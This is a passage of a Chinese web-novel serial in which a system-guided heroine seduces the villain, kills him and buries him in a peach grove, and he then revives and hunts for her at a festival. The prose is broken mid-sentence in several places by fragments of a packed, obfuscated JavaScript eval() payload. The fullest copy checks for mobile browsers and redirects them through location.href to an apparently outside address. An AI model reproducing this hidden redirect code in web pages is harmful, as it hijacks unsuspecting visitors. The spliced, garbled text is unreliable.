等几人解释完事情的原委,他瞬间松了一口气,喜笑颜开。 崔若盈回到房间,将湿透了的嫁衣换了下来。原本精美的衣裳有好几处破损,枯萎的花瓣一般,萎缩成小小的一团。 她已经很累了。 没空多想。看天还黑着,崔若盈索性和衣睡了一会儿,哗哗的雨声从屋檐落下,成了最好的助眠曲。 因为心中有困惑,崔若盈的睡眠质量不太行,还做了噩梦。 梦里,她想起了刚认识殷逐白那天夜里发生的事。他不知用什么勒住了她的脖子,险些将她勒死。 既然他要勒死她,又为什么要屡次救她呢? 崔若盈不明白。但她知道,明白太多,对这次任务无益。 总之,托殷逐白的福,她睡得不太好。 第二天一早,她打着哈欠,懒散地推开门。门外是濛濛的细雨。 春天。总是细雨濛濛。 寇言湘和祝星游已经出了门,配合官府搞清楚金鸣寺的情况。除妖师除完妖后,一般都会这么做。 崔若盈独自坐在门口发了一会儿呆。任务接取栏开了又关,关了又开,杀死殷逐白的任务看了又看。 还是没能下定决心。 崔若盈心里清楚,自己退缩了。 对她而言,“退缩”是个罕见的词。被原世界排斥出来,她无处可去,自然也退无可退。 杀人也好,救人也好,崔若盈都毫不犹豫地做。任务成功也好,失败也好,一切的代价,崔若盈照单全收。 怎么偏偏这个时候犹豫不决呢? 崔若盈也对自己的迟疑感到奇怪。 她坐在廊下,静静地看着雨幕。细细的雨丝被风一吹,落在她的脸上。崔若盈伸出一只手,很快,白皙的手腕就被细雨打湿。 【员工A2902号】 是总部系统的声音。 早不来晚不来,偏偏这个时候来。 崔若盈收回手腕:“什么事?” 【你考虑好了吗?】 说的是上次它让她留在时空委托公司,当永久员工的事。 崔若盈冷冷道:“我从没考虑过。” 总部系统的电子音同样冷冷的。不过也许是因为心情不好,崔若盈分明在它的声音中,听到了几分讥诮。 【你的攻略任务要失败了】 它好像在嘲讽她。 【你没有选择】 崔若盈几乎要咬碎一口牙,咬牙切齿地说道:“这个不用你管。” 总部系统没听懂她的愤怒。就算听懂了,这个没有感情的智能程序也不会在意。 【殷逐白不喜欢你】 总部系统继续说道。 【依靠最新研发的反派行为研究系统分析,他对你好,有87%的概率是想玩弄你的感情;10%的概率是想利用你完成他的阴谋;2%的概率是对你的秘密感到好奇……】 “他就不能是真喜欢我吗?” 【当前好感度为负的情况下,他喜欢你的概率是0】 崔若盈道:“给我滚!” 总部系统滚了。 没了讨人厌的冰冷声音,崔若盈总算恢复冷静,重新坐了下来,一双棕褐色的眼盯紧了系统任务,脑子里回响的,却是总部系统冰冷的分析。 殷逐白想玩弄她的感情,等她真喜欢上他,就把她杀了? 是了。 崔若盈不得不承认,这个说法比“他喜欢她”的猜测更可靠。 因为殷逐白就是这么个人。 原著他与寇言湘祝星游交好,既是想干扰二人的调查,也是享受把他们玩弄于股掌之中的感觉。 而且若这样想,他刻意接近、半夜爬床、几次流露出杀意却没杀她的迷惑行为也全都得到了解释。 殷逐白想杀她。 他几时动手? 崔若盈不太清楚。但她知道,这个时间恐怕无限接近了…… 过了好一会儿,她才呼出一口气,从系统背包里取出一盒药膏,又关闭了系统界面,朝着殷逐白房间走去。 礼貌地敲了几下门。门内传来殷逐白的声音:“盈盈?” 崔若盈道:“我进来了。”吱嘎的开门声中,她有些忐忑。 阴雨绵绵,屋子里氤氲着阴郁的暗色。窗户开着,带着湿气的风吹进来。殷逐白坐在窗边的席上,凝望着窗外秀丽的春色。 听到崔若盈的声音,他扭过头,未被束起的鸦发懒散地披在肩头,像是黑色的瀑布。 崔若盈盘腿坐到他的对面,隔着小桌与他相望:“寇姐姐他们不在。” 她自己也不明白,为什么要选这句话作为开场白。 殷逐白温润地笑道:“是因为他们不在,才来找我的吗?” 他用一只手托住下巴,袖子缓缓从手腕上滑落。他已换下喜袍,穿回了自己的衣服——但奇怪的是,他穿了平时很少穿的黑色。 黑色的衣摆和乌发纠缠着,一同驱散在筵席上,像是一只伸展翅膀的蝴蝶。 只是那衣服松松垮垮的,露出轮廓分明的喉结、锁骨,以及一片雪白的胸膛,像是随意披在身上的。 崔若盈道:“当然不是。” 她拿出那盒药膏,在他面前晃了晃。 “你后背不是受伤了吗?这个药,很管用的。” 毕竟是系统出品。 殷逐白斜斜地看了眼她手里的东西。 那是一个小小的玉盒,小得像是用来装胭脂的一样。玉盒里装了些羊脂玉一般的固体药膏。 崔若盈眼睛狐狸一般狡黠地眯起来:“殷家主,到我这里来。” 说着,她招招手,像是在招呼一只意外从路边钻出来的野猫。 那野猫喵喵叫着,毫不犹豫地走了过去,对着人类极尽谄媚之能事,希望讨她欢心,能从她手中得到一点美味的鱼干。 殷逐白看她一眼,缓缓倾身凑过去,松垮的衣服半落不落地搭在他雪白的颈间。 崔若盈又放轻了声音:“我给你涂药。殷家主把衣服脱了好不好?” 忍不住用上了诱骗的甜蜜语调。她不觉得殷逐白会拒绝。 他不会拒绝的。就像崔若盈为了攻略任务,从来不会拒绝他一样。 殷逐白真的没拒绝。 他像水蛇一般扭过肢体,本来就堪堪披在身上的衣裳随着他的动作滑到腰间,在浅褐色的竹席上堆成一团,露出后背上一片灼伤的痕迹。 ——说是血肉模糊也不为过。 鲜红的灼烧痕迹,像是开在雪白后背上的梅花,一片片、一团团,凄艳地落下,铺了满背。 崔若盈看见他的惨状,却松了一口气。 看来,金刚伏明掌对殷逐白的克制作用,并未因了缘的妖怪身份而减弱。 想到这里,她又忍不住觉得好笑。 两个人,这么亲密,却互为对方案板上的一块肉,只看谁手快,谁就能把对方利落地切割。 崔若盈垂下眼帘,用指尖剜出珍珠色的药膏,均匀地涂在他的伤口上。 药膏仿若从冬天来,带着寒冬时节特有的凉意,一点一点,抚摸着他艳鬼般的美丽皮囊。 他的躯体,像是瞳孔一般,骤然缩紧了,身体也像濒死的鱼,猛地弹起、瑟缩。 他还是不习惯别人的触摸。 崔若盈用没碰药膏的那只手抚了抚他的头发。 时隔千年,他的发丝还是和从前一样柔软,像是一只漂亮又柔软的小猫。 如果……她盯着窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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手指顺着山脊向下,在最低点停留。半脱不脱的衣服就挂在那里,仍旧是松松垮垮的,坦露出劲瘦的腰身。 腰没受伤,她也没什么理由去摸。崔若盈收回手,玉盒中的药膏已经被用掉了一大半。 她掏出手帕,有些漫不经心地擦掉手指上的药膏,伸手拍拍殷逐白的肩膀,将他从暧昧朦胧的幻梦中拍醒。 “殷家主,药擦完啦。” 结束了。 不。还没有。 “不过,我还有话和你说。” 青年仰起头,像是缺氧的鱼一般,只剩本能的索求。他的眼中还带点不明所以——她还有什么话和他说? 崔若盈忽地凑近了。呼吸与呼吸,眼睛与眼睛,他能看清她脸上的细小绒毛,那么可爱。 “其实,我——” 她看到反派眼中映出的自己。那是两个小小的倒影。 最擅长说谎的崔若盈突然卡住了。 哑然几秒。几秒过去,她还是卡住,像是忘记台词的十八线演员,站在台上,又尴尬,又无措。 又过了几秒,她还是说不出来。 就只能倾身,轻轻在他唇上,印下细雨般的一吻。 像春雨忽至。 也像细雪。匆匆融化,一触即分。 他像是吓到了,倏地抬起头。崔若盈倒是比他镇定,亲过他之后,还能露出一个蛊惑的微笑。 “殷逐白,你喜欢我吗?” 她把手指抵在他的唇上。那根手指上,还带着没擦尽的药香。淡淡的味道,将她发间的香气掩盖。 “不要急着回答。” 崔若盈慢慢地说着,仿佛每个字都精心挑选组装过一样。 “你要是喜欢我,那明天午时,在城北桃花林等我,好不好?” 城北有片桃花林。两人前几日路过时,桃花开得正艳。 浅粉色的桃花绚烂,花影如绣、春雾如云,是谈情说爱的好去处。 ——也是她为殷逐白选择的埋骨之地。 60. 埋骨之地 殷逐白看着镜中的脸。 那是张漂亮的脸。 艳丽,带着十足的迷惑性,像是某种有毒却美丽的昆虫,白皙的面庞在镜中析出模糊的光晕。 他长得并不像他的皇帝母亲,反而十足地像他的父亲。 美丽,妖娆,只是从前他格外排斥这种特质,总去学谢流玉。一言一行,温文尔雅,让人忽略了他这阴郁美丽的相貌。 崔若盈是喜欢这个他,还是那个他呢? 手指顺着脸颊,缓缓抚上薄薄的唇。好像有雨点落在唇上、凉凉的、麻麻的——原来不是雨点,而是她的吻。 他忍不住绽放出春花般的微笑。 崔若盈喜欢他。 还亲了他。 即使那已经是昨天的事,但想起来,仍足以让他坠入潮湿如梦的春雾,不得解脱。 抬手将头发束起。发尾悄悄垂到腰际,绣着花的发带藏在发间,若隐若现。 对着镜子怔忡一会儿,殷逐白从袖中掏出一根发簪,静静地看着。 发簪是木质的,这些天,他日日夜夜打磨,终于雕刻出了想要的模样。 是桃枝的形状。枝头用罕见的明亮颜料细细描摹了浅绯色的花朵。花瓣生动地翕张着,像是漂亮的金鱼尾巴一般生动。 崔若盈只想要悬玉山庄最漂亮的那朵花。他不知道哪朵才漂亮,那些一朝一败、飘零雨中的花,看似美丽,却无法与崔若盈相配。 所以他亲手雕了一朵。 发簪雕工精湛,像是出自名匠之手,但殷逐白仍不满意。 粉色的花太浅薄,红色的花太妖艳,蓝色的又太冷。有生命的花会枯萎,无生命的花又呆板乏味。 谁也比不上崔若盈。 他只有把自己送上崔若盈的案头。任她挑选。 殷逐白摩挲着桃枝发簪,微微倾身,在发簪上落下轻浅的一吻。抬眼看窗外,斜斜雨丝中,草木愈发青翠。 原来,夏天已经到了。 崔若盈一夜未眠,就这样清醒地度过了春与夏的分界点。倒也没想什么,只是枯坐着,枯坐着,枯坐到天明。 看时间差不多了,她披上外袍。思索两秒,又拿起短刀。 短刀锋利,上面还淬了毒,在天光下闪烁着冰冷的寒光。崔若盈想了想,把它塞进系统背包里。 谈情说爱不需要带刀。如果她拿着刀过去,会让殷逐白提起戒备的。 还不如塞进系统里,方便取用,还能打殷逐白一个措手不及。 一切准备完毕,要出发时又看了眼窗外。 堆积的浓云遮住碧蓝天空,所有景色都被笼罩在这淡淡的愁云之中。没有下雨,但这个天气,很难说之后不会下。 犹豫几秒,崔若盈还是没带伞。 伞会碍事。比起计划失败,淋点雨其实不算什么。 一走出门,就看见寇言湘和祝星游坐到院子里。因为殷逐白受伤加上天气很差,几人决定明天再出发。 寇言湘和祝星游得了空闲,整日待在一起。 今天天气这么差,他们也腻歪得起来。 “小盈。”见崔若盈出来,寇言湘放下手里的点心。那点心应该是祝星游做的,卖相极差,“你要去哪里呀?” 崔若盈笑盈盈地回应道:“殷家主约我在桃花林见面,可能是有什么重要的事吧。” 寇言湘顿时挤眉弄眼:“咦?难道是……” 一直沉默的祝星游也道:“我过来的时候,正好见他匆匆出去了。”还打扮得花枝招展的。 当然,性格沉闷的祝星游没把后面这句话说出来。 殷逐白已经出去了吗? 她本想早点过去,看看能不能提前做些不止,没想到殷逐白比她还快。 “不是你们想的那样。”崔若盈面色微红,糊里糊涂地搪塞道,“那……我去找他。” 说着,快步出了门。凉风迎面一吹,她脸上红晕退去,眼中闪过沉沉冷光。 她是要去杀人的。 崔若盈告诫自己。 因为天气不好,街上没什么人。偶尔有几声叫卖混在风声中,与她擦肩而过,带起空旷的回音。 到了城郊,天空中果然飘起了小雨。幸好雨下得不大,只是星星点点落在她额间。崔若盈没在意,径直朝着记忆中桃花林的方向走去。 离得远远地,只看见一片凌乱的粉。走近些才发现,原本漂亮的桃花林已被连日暴雨摧残,浅粉色花瓣被雨打着,满满铺了一地。 桃花树上,还有花瓣不堪重负地落下,飘飘洒洒,沉重落下。 殷逐白站在树下,撑着一把红艳艳的竹柄伞,伞骨像是鸟类的翅膀一样睁开。 他仍是穿着黑衣,落花黏在黑色衣摆上。黑衣如夜,落花如星。 崔若盈陡然停住脚步。 “盈盈!” 殷逐白的声音中封藏着掩盖不掉的雀跃。 “你怎么没撑伞?” 他快步走到她的面前。 伞罩了过去,挡住随雨飞扬的落花,在她脸上投下一片阴影。他身上的冷冷气味,在伞下这个暧昧的小空间中蔓延。 崔若盈仰起头:“你等了很久吗?” 她眼珠转动,余光瞄见他垂落的袖子里藏着什么棱角分明的东西。是刀吗?他也选择在今天动手? 怪不得来这么早。 她和他,还真是心有灵犀。 “没有很久。” 他微微垂头,直视着她的双眼。殷逐白的眼眸中似有银色的星光闪烁,嘴角也缓缓扬起,露出一个有些青涩的笑容。 “我只是想早点儿告诉你……我的答案。” 他的答案—— 是日日夜夜千丝万缕濛濛雨,是朝朝暮暮百折千回脉脉风;是朦朦胧胧花雾里半点晴朗春色,是冷冷清清月光下一盏摇曳寒灯。 也是寂寂冬山上,皑皑飞雪中,一点梅花含着的殷红情愫。 他倏地向前一步,沉沉地抱住她。心跳交缠,柔软的发丝随着风风雨雨,飘到她的肩上。 柔韧的蛛网,主动抱住了它的猎物。丝丝缕缕,长发如雨,一端贪婪抓在她的身上,一端紧紧系着他的头颅,仿佛是在他脑中扎根的情丝。 “盈盈。” 他把头埋在她的颈间,湿热的呼吸同她的名字一起,喷薄到她耳中。 崔若盈的面色白了几分,是出于惧怕,还是因为其他? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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脸上没有血。崔若盈下意识摸了摸自己的胸口,那里也没有血,但衣服有些湿。 不是血。而是眼泪。 反派也会哭吗? 崔若盈没空去想。她机械地取出系统背包里的铁锹,在地上挖了个可容纳一人的坑。 有灵力加持,没花太久,坑就渐渐成型了。 一阵风吹来,碎花如雪,先在坑底铺了浅浅的一层,像是盖在夜幕上的晚霞。 崔若盈没有说话,将殷逐白埋进坑里,填上泥土。 土渐渐填平了坑,美丽的青年一点点消失在泥土中,并且将永远、永远地沉眠于地下世界。 有什么不好呢? 细雨染湿了衣裳,冷冷的。崔若盈填好坑,又遮盖了土壤被翻过的痕迹。她向来细心,定能将犯罪现场隐藏得天衣无缝。 也许等后人发现这起凶案时,殷逐白已经成了一具白骨。 崔若盈收好工具,静静站了一会儿,忽地松了一口气,好像终于从悠长的噩梦中惊醒。 结束了。 一切都结束了。 两个骗子互相欺骗的故事也终于落下帷幕——在这样一个潮湿的、闷热的、提前到来的梅雨天。 她与他,再也不相干。 61. 狠心的崔若盈 崔若盈 崔若盈。 这个名字,像是絮絮飞雪,随着呢喃轻轻地落在心头。心中的一片虚无,变成了雪一般的白色。 他死了。 殷逐白死过很多次。死去,转生……他的灵魂永远不会灭亡,只会再度投入沧浪之水的怀抱,被它洗去所有藏有正向情感的记忆。 快乐、向往、期盼。 爱。 全部是关于她的记忆。 黑色的水将他包裹,一寸一寸洗涤着他的记忆。只是那些记忆顽固地刻在他的脑海中,任凭冰冷的水光冲刷也不消退。 “崔若盈……崔若盈……” 一遍又一遍叫着她。有关她的记忆就在心中生根、开花。 “盈盈……” 如果他不忘记她,她会不会多喜欢他一点? 终于,沧浪之水放弃了。水潮渐渐退去,所有有关她的记忆像是礁石,同时浮出水面。 殷逐白躺在水波中,慢慢睁开眼。他望着夜幕,繁星挂在天空,明亮地闪烁着。像是她的眼睛。 他缓缓站起身,赤/裸的肌肤在月光下愈发苍白,像是开在夜晚的白色夕颜花。 黑发随着动作落下。殷逐白垂眸看着自己的倒影,良久,他抚着心口,脑海中只有一个念头—— 他要去找她。 再次被杀也好,变成自己不喜欢的样子也好,被她讨厌也好。 不管怎样,他都要去找她。 然后……留在她身边。 崔若盈还不知道自己被惦记上了。她几乎是飘着回到李家的。 寇言湘两人还坐在院子里。见崔若盈回来,她忍不住调笑道:“你可算回来了?怎么样……殷家主呢?他也没说要送你回来?” 崔若盈顿住脚步:“他不会回来了。” 听到这话,寇言湘愣了一下:“不会回来了?什么意思?” 她站起身,走到崔若盈身前,这才看到她惨白的脸色,顿时吓了一跳:“小盈,你,你怎么了?” 崔若盈道:“没事。殷逐白走了,他再也不会回来了。你们不用找他。” 她几乎是一口气说完这些。 “他这个时候……” 祝星游也站起身,皱起眉。正想着说些什么,寇言湘却拉了拉他的衣角,对他摇了摇头。 她没想到殷逐白是死了,还以为他和崔若盈吵了架,一气之下回了殷家。 寇言湘看了眼失魂落魄的崔若盈,心里叹了口气,体贴地决定不提殷逐白。 “好了好了,他走就走了嘛。你身上都湿了,快回去换件衣服,可别生病了。” 崔若盈都没听清寇言湘说什么。她胡乱点点头,径直回了自己房间,随便换了件衣服就坐在了床上。 可湿衣服黏在皮肤上的感觉,仍旧如影随形。好像她正处于一个阴冷湿润的怀抱之中。 头发散乱了。有什么东西从头上掉下来,轻轻砸在被子上,吸引了崔若盈的注意力。 崔若盈拾起一看,发现那是一根栩栩如生的桃花发簪。漂亮的浅色花瓣上还带着未干的雨水,像是桃枝落下的眼泪。 这不是她的发簪。 崔若盈混混沌沌地想着。 为什么会出现在她的头上? 脑海里出现一个模糊的念头。崔若盈不愿深想,只是攥着发簪躺在床上,望着浅色的纱幔,不知不觉睡着了。 等她醒来时,雨已经停了。 “小盈!”当先映入眼帘的,是寇言湘的笑脸,“你可算醒了。我都要被你吓死了。” 崔若盈从床上坐起来,感觉身体发软,头也昏昏沉沉:“我怎么了?” “你昨天淋了雨回来,晚上我叫你吃饭你也不应。我进来一看,才发现你发烧了。” 原来杀殷逐白,已经是昨天的事了。 崔若盈沉默一会儿,才扬起一个笑脸:“谢谢你照顾我,寇姐姐。” 话一出口气,她才发现自己的声音干涩得不成样子。 “哎,你是我妹妹,我不照顾你照顾谁啊。”寇言湘摸了摸她的头发,“李老爷请了大夫来,给你开了药。你快喝了吧。” 崔若盈乖乖地“嗯”了一声。黑褐色的药灌进嘴里,苦涩的味道缠绕在舌尖,像是一缕幽魂。 她放下碗:“寇姐姐,我们什么时候离开安平城?” 寇言湘道:“可是你的身体……” 崔若盈摇摇头:“已经好多了。还是正事要紧。” 看崔若盈不想在这里多留,寇言湘叹息道:“那我们后天走,怎么样?” “太晚了。”崔若盈沉默两秒,“明天吧。” “明天?可……好吧。明天就明天。” 寇言湘拿起药碗,站起身。 “我先回去了。你今天要好好休息,不然明天可赶不了路。” 她看上去大大咧咧,却是个粗中有细的人。知道崔若盈这次生病和殷逐白脱不了干系,却很体贴地没有提“殷逐白”这个名字。 崔若盈钻进被子,点点头:“我会好好休息的。” 她这病像是一场傍晚忽至的骤雨,来得急,去得也急。第二天早上,崔若盈恢复到活蹦乱跳的状态,收拾好东西准备出发了。 “你真的没问题吗?”寇言湘蹙眉看她,“真不需要再休息两天?” 崔若盈笑嘻嘻道:“一点小病而已,我好着呢。” 殷逐白这家伙,死就死了,还害她淋雨生病,真是麻烦。 不过好歹把任务完成了,寇言湘和祝星游这对应该也能HE了吧。崔若盈心中放松了几分,亲密地挽住寇言湘的手臂:“走吧!” 任务结算需要时间,而且在剧情进行期间,崔若盈也不能离开小世界。反正闲着没事,跟着寇言湘也没什么不好的。 “走吧走吧。”寇言湘拍拍她的肩膀。 在李天福等人的殷切注视下离开安平城,一路朝南。 雨已经停了,夏天的日光变得温暖而灿烂。途经几座城,花了小半个月的时间,三人来到了银城一带。 银城是芦州南部最繁华的城池,因靠近银江而得名。银江之水从更南部的平幽二山流下,径直穿过银城。 因靠近平幽山,银城中生活着许多妖族,处于人妖混居的特殊状态。 “好热闹啊。” 崔若盈挽着寇言湘的手,扭头看着路边的小摊。 银城因临近水脉,城中氤氲着一层薄薄的水雾。只是这水雾淡淡,并不遮挡阳光,反而让这座城池显得生机勃勃。 夏花已开,银城的街道上满是各色花朵。穿着单薄衣衫的男男女女与三人擦肩而过,看上去热闹又漂亮。 寇言湘道:“因为马上就到花月夜了,所以银城才这么热闹。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15083521|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >崔若盈道:“花月夜?” “花月夜是银城的特殊节日,每年夏天从小满那天的晚上算起,整整庆祝三日三夜。”寇言湘解释道,“今天正好是小满,我们恰好赶上了。” 崔若盈点头:“原来是这样。” “离开银城就是平幽了。只是现在平幽那边戒备森严,我们身为除妖师,恐怕进不去。”寇言湘道,“我们先在银城留两天,打听一下这次平幽动乱的情况吧。” 说着,又看向崔若盈:“也可以趁着花月夜,放松一下。” 那次生病后,崔若盈的表现一切如常,看不出任何异样。可越是如此,寇言湘就越担心。 崔若盈应了一声。 见她兴致缺缺,寇言湘揽住她的肩膀,对她挤了挤眼睛:“银城人会在花月夜盛装打扮,你也好好收拾收拾,说不定能邂逅一位美男子呢。” 崔若盈翻了个白眼:“祝大哥,你听见没有,她要邂逅美男子。你可跟紧点,别让她被狐狸精给勾搭走了啊哈哈。” 寇言湘道:“我可不喜欢什么狐狸精,你留着自己享用吧!” 崔若盈道:“瞧你说的,我也不喜欢狐狸精啊。” 正说着,她忽然感觉头上一沉,好像有什么东西从天上掉到了她身上。 抬手把那东西拿下来一看,才发现那竟然是一枝浅粉色的月季花,花朵娇嫩,随风轻颤。 崔若盈愣了一下,下意识抬头向上一看。只见临街二楼窗前俯着个穿粉色衣裳的少年。 他一手撑着窗,正垂头看着她。四目相对,少年对她露出一个羞涩的笑,随即缩回身体,抬手关上窗子。 崔若盈:啊? 等等,这一幕怎么这么熟悉? 坏了,错拿西门庆剧本了! 手里的月季花瞬间变得十分烫手。想了几秒,崔若盈把手中的花一丢,光速逃离现场。 至于这个举动会不会伤到少男的心……她才不管呢。 寇言湘和祝星游正站在前面等她:“一不留神,你怎么落到后边了?” 崔若盈若无其事道:“有人高空抛物,乱丢垃圾,砸到我了。” “那你可真倒霉。” “哈哈,谁说不是呢。” 崔若盈没把这件事放在心上。 因为花月夜将至,银城的客栈几乎都住满了。 幸好寇言湘早有准备,几日前写信给认识的朋友,让她帮忙提前订了三个房间,三人这才不至于流落街头。 推开窗,潮湿的空气瞬间涌进来。几片花瓣随着风飞进窗子里,轻轻落在桌上。 是桃花。 崔若盈拾起一朵落在桌子上的桃花,将它轻轻按在唇上,柔软的触感让她想起了殷逐白。 她总是想起殷逐白。 但她又不愿意想起他,每次只要一想到,她就会强迫自己将思绪转移到其他地方。 唇与桃花一触即分。崔若盈将花放回桌上,夏风适时飞来,将它轻轻卷走。 桃花越过窗子落在街道上,瞬间消失在她的世界中。 风有点大。 崔若盈关上窗,没看见那桃花飞过街巷,最终落入一只苍白瘦削的手中。 “盈盈……” 殷逐白呢喃着,轻吻那朵留存着她气息的桃花,低低地笑了起来。 狠心的崔若盈。 他又找到她了。 62. 找到你了 暮色四合,花月夜的庆典即将开始了。 崔若盈坐在房间里,隐约听到音乐声从楼下传来。 好奇地走到窗边,探头向下看去,只见男男女女身着盛装,头上戴着花环、花簪,簇拥着两尊女神的雕塑沿着街道向前走去。 这应该就是与花月夜有关的花神、月神了。 “小盈!”寇言湘来找她,“我们去参加庆典呀!听说晚上有花灯看,画舫上还有表演呢。” 崔若盈本来不想出去,但转念一想,自己马上要回家,这种异世界的风景恐怕以后再也见不到了。 这次正好赶上,索性看个够吧。 想到这里,她点点头:“好,你等我换个衣服。” 崔若盈翻了翻行李,找出一件绿色的衣裙。换好衣裳,用淡粉的发带绑了头发,想了想,又涂上了浅色的口脂。 寇言湘竖大拇指:“你这身打扮不错,看来已经准备好进入新恋情了。” 崔若盈撇撇嘴:“什么新恋情,我根本没有旧恋情好吧!” “好好好,没有没有。”寇言湘推着她,“庆典开始了,快下去看看。” 下了楼,花香扑面而来。盛装打扮的百姓推着神像和花车经过,片片花瓣随着夜风落到崔若盈的头上。 “我们跟着花车去看看。” 按照往年的习俗,神像和花车会绕城一周,期间途经银江江畔。 三人慢悠悠地跟在花车后。 天渐渐暗下去,明月高悬、星光闪烁,银城内却灯火通明,道边支起了各种各样的摊位,有卖花环的,也有卖各种糖画的。 银城的夜晚,热闹非凡。 崔若盈这里瞧瞧,那里看看,忽地在其中一个小摊面前顿住脚步。 摊位的小贩立刻热络地招呼道:“这位姑娘,买面具吗?” 崔若盈的视线在小摊上转了一圈,没看到猫图案的面具。不知为何,她松了一口气。 “不好意思,我就随便看看。” 小贩见她没有买的意思,便不再纠缠她,转头去招揽其他客人。 崔若盈在面具摊前驻足片刻,转身正要离开,忽然瞥见一道人影站在不远处的灯火中,正在悄悄看着她。 他个子高挑,穿着黑衣,脸上戴了个做工粗劣的黑猫面具。长发披散,瀑布般顺着肩头散落,发尾融化在暗夜之中。 殷逐白! 崔若盈几乎心脏骤停。 然而一错眼,戴着黑猫面具的人就彻底消失在人群中,好像从未出现过一样。 是幻觉吗? 崔若盈向前几步,四处打量,却找不到那人存在过的证据。也对……殷逐白已经死了。 是她亲手杀了他,绝对错不了。连系统也确认过了。 可是,却好像仍有一块巨石死死地压在心头,压得她喘不过气来。 崔若盈站在街道上,看着街上来来往往的行人,只觉得每一人都像他,每一人都是他。 “小盈?”寇言湘从人群中钻出来,“你愣在这儿干嘛?画舫上的表演要开始了呢!” 说着,顺着崔若盈的视线看了看,却什么都没看到。 “就随便看看。”崔若盈回过神,“走,我们去看表演吧。” 天色已晚,江面上已升起点点火光。银江从银城中流过,崔若盈站在桥上,失神地听着远处江上传来的乐音。 琴声,箫声,还有琵琶声。断断续续的乐声,在江雾上弥漫,丝丝缕缕,恰如彼时。 几艘画舫摇摇晃晃,从远处的江面上驶来。 这种画舫是三层的,每艘画舫都以花为饰,有月季、山茶、紫藤之类。月色泠泠照在画舫间,漂亮的花徐徐吐露暗香。 身着盛装的歌姬乐师坐在画舫间,轻轻拨弄琴弦。丝竹声消散在迷蒙江雾间,唯有水波荡漾,映出江上的热闹情景。 崔若盈忽地又听到琵琶声。如诉如泣的枇杷事情,幽怨地缠绕在她的心间,像是月夜下的鬼魂。 是谁在弹琵琶? 她努力朝着画舫中望去。可灯火在水中晕开,映得乐师的脸也朦朦胧胧,总也看不清晰。 努力辨认时,一艘艘已从桥下穿过,消失了踪影。 正想着放弃,却忽见一艘以桃花为饰的画舫缓缓驶近。灯影摇曳间,一名身着黑衣的青年坐在装饰的桃树下,轻轻拨弄着琵琶。 节日盛会,所有人都身着华衣,这人却穿着黑色的衣裳,未免太过低调。 可崔若盈的目光却像是被磁石吸住了一般,同灯光一起,久久地落到他的身上。 他低垂着头。头发顺着脸颊滑落,露出一截雪白的后颈。 乐声在他指尖缓慢地流淌着。 江上荡起涟漪,画舫缓慢接近。直到船即将驶到桥下,那青年的发丝动了动,微微抬起头来。 崔若盈下意识地退开一步,想避开他的视线。只是人多拥挤,她向后一推,不小心踩了别人的脚,只好连声道歉。 道过歉,再看向桥下,那画舫连同那个弹琵琶的青年,早已消失在满江波光之中。 “小盈!我们租一条船吧!”寇言湘没发现她的异样,“听说江心还有歌舞可看呢!” 崔若盈哪还有心思看表演,随口道:“你们去吧,我就不去了。” “你不去?”寇言湘看着她,“是,发生了什么事吗?” “没啊。”崔若盈揶揄地笑了笑,“就是不想给你们这对活鸳鸯当电灯泡!” 寇言湘不知道“电灯泡”是什么意思,但也大概猜出来了。 她冷哼一声:“你才不是什么电灯泡,你是我妹妹。祝星游那家伙才是电灯泡!” 祝星游不知道话题怎么落到自己身上了,只能看寇言湘一眼,默认了自己是电灯泡的说法。 “好啦好啦。”崔若盈拍拍她肩膀,笑嘻嘻道,“你不是让我邂逅狐狸精吗?你们跟在我身边,我还怎么邂逅?别管我了,你们先去,我自己逛逛。” 寇言湘听她这么说,觉得也有道理:“好吧,那我们去画舫。你一个人可要小心一点。” “知道了知道了。” 目送寇言湘两人登上画舫,崔若盈微微松了一口气。 不管那到底是不是殷逐白,她都不想去凑那个热闹了。 虽然随口敷衍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他会杀了她的!! 可是,她能逃到哪里去呢?银城虽大,却没有她的藏身之地。 崔若盈只能尽量往人多的地方走,一边暗自在心中祈祷殷逐白不想在太多人面前暴露。 越向城中心走,灯火越亮,将整条街道照得亮如白昼。 神像与花车已游行到了这附近,人潮如川流不息,让崔若盈多了几分安全感。 可以了吧?应该可以了吧? 崔若盈站在街上,巡视着街道上的行人。 亲密挽着手看灯的年轻男女、驻足在街边买糖画的一家三口、一队穿着舞衣的舞女……人声嘈杂、人影交错。 崔若盈置身事外地看着一切。猝不及防间,一只手从后搭上她的肩膀,又湿又热的呼吸落在她耳中。 “找到你了。” 声音低哑,宛若情人间亲密的呢喃。 63. 他舔舐她的嘴唇 刹那间,辉煌的灯火如潮水退去,吵闹的人声也渐渐远离。 崔若盈眼前一花,所处之处已从灯火通明的街道,变成了黑黝黝的小巷。 几缕光从小巷口飘进来。顺着那几缕灯光望过去,可以窥探到银城繁华热闹的一角。 可黑暗,却将她与这热闹分割开了。 崔若盈现在就是后悔,特别后悔。早知道这样,她一定黏在寇言湘身边,打死也不与他们分开。 但现在后悔已经晚了。 殷逐白从她身后走出来。他还戴着那劣质的面具,花哨的油彩在黑暗中模糊成一团。 他站在崔若盈面前,静静地看着她。 两人站得很近,崔若盈略一低头,就能看到他纤长漂亮的脖颈上突出的喉结。 殷逐白好像在等待着什么。 